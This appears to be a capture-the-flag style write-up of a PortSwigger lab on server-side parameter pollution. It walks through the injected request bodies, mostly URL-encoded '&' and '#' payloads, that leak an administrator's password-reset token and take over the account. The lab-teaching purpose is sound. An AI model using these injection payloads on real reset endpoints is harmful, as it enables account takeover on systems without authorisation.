> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/api-testing/server-side-parameter-pollution-in-the-query-string.md).
# Server-side Parameter Pollution in the Query String
Server-side Parameter Pollution in the Query String notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting Server-side Parameter Pollution in a Query String
**Lab objective**/ Log in as administrator and then delete user **carlos**.
#### Functionality Forgot Password
A password reset feature is available.
The request sent to the server is as follows:
```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator
```
The server response is:
```json
{
"type":"email",
"result":"*****@normal-user.net"
}
```
#### Attempts to Pollution Parameters
Try to add a new parameter via `&`:
```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&test=test
```
or encoded:
```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26test=test
```
The server answers:
```json
{
"error": "Parameter is not supported."
}
```
#### Using the `#` Character
With `#`, behavior changes:
```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator#test=test
```
or encoded:
```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%23test=test
```
Server response:
```json
{
"error": "Field not specified."
}
```
This indicates the existence of a **field** parameter expected on the server side.
#### Discovery of the `field` Parameter
Send the following request:
```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=test
```
Then we combine `field` with `#` to inject additional values:
```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=x#
```
or encoded:
```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=x%23
```
By testing different **server-side variable names**, you get a valid answer with the code **200**, revealing the fields **email** and **username**.
#### Analysis of JavaScript File forgot-password.js
An accessible JavaScript file reveals the following logic:
* The form data is manually encoded.
* The query is sent via `fetch` in POST.
* If the answer contains the `result` property, the message Please check your email is displayed.
* A **reset-token** parameter is recovered from the query string:
```javascript
let forgotPwdReady = (callback) => {
if (document.readyState !== "loading") callback();
else document.addEventListener("DOMContentLoaded", callback);
}
function urlencodeFormData(fd){
let s = '';
function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
for(let pair of fd.entries()){
if(typeof pair[1]=='string'){
s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
}
}
return s;
}
const validateInputsAndCreateMsg = () => {
try {
const forgotPasswordError = document.getElementById("forgot-password-error");
forgotPasswordError.textContent = "";
const forgotPasswordForm = document.getElementById("forgot-password-form");
const usernameInput = document.getElementsByName("username").item(0);
if (usernameInput && !usernameInput.checkValidity()) {
usernameInput.reportValidity();
return;
}
const formData = new FormData(forgotPasswordForm);
const config = {
method: "POST",
headers: {
"Content-Type": "x-www-form-urlencoded",
},
body: urlencodeFormData(formData)
};
fetch(window.location.pathname, config)
.then(response => response.json())
.then(jsonResponse => {
if (!jsonResponse.hasOwnProperty("result"))
{
forgotPasswordError.textContent = "Invalid username";
}
else
{
forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`;
forgotPasswordForm.className = "";
forgotPasswordForm.style.display = "none";
}
})
.catch(err => {
forgotPasswordError.textContent = "Invalid username";
});
} catch (error) {
console.error("Unexpected Error:", error);
}
}
const displayMsg = (e) => {
e.preventDefault();
validateInputsAndCreateMsg(e);
};
forgotPwdReady(() => {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?reset_token=${resetToken}`;
}
else
{
const forgotPasswordBtn = document.getElementById("forgot-password-btn");
forgotPasswordBtn.addEventListener("click", displayMsg);
}
});
```
This confirms the existence of a usable **reset/ token** parameter.
#### Operating the `reset_token` Parameter
This parameter is then injected via server pollution:
```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=reset_token%23
```
The server answers:
```json
{
"type":"reset_token","result":"62ptz5mdgs48omh0u3uf3z7b7w9kiybt"
}
```
#### Reset Administrator Password
Using the token obtained, you access the following URL:
```bash
/forgot-password?reset_token=62ptz5mdgs48omh0u3uf3z7b7w9kiybt
```
This allows you to reset the administrator's password, log in with this account, and then delete the user **carlos**, thereby validating the lab.
---
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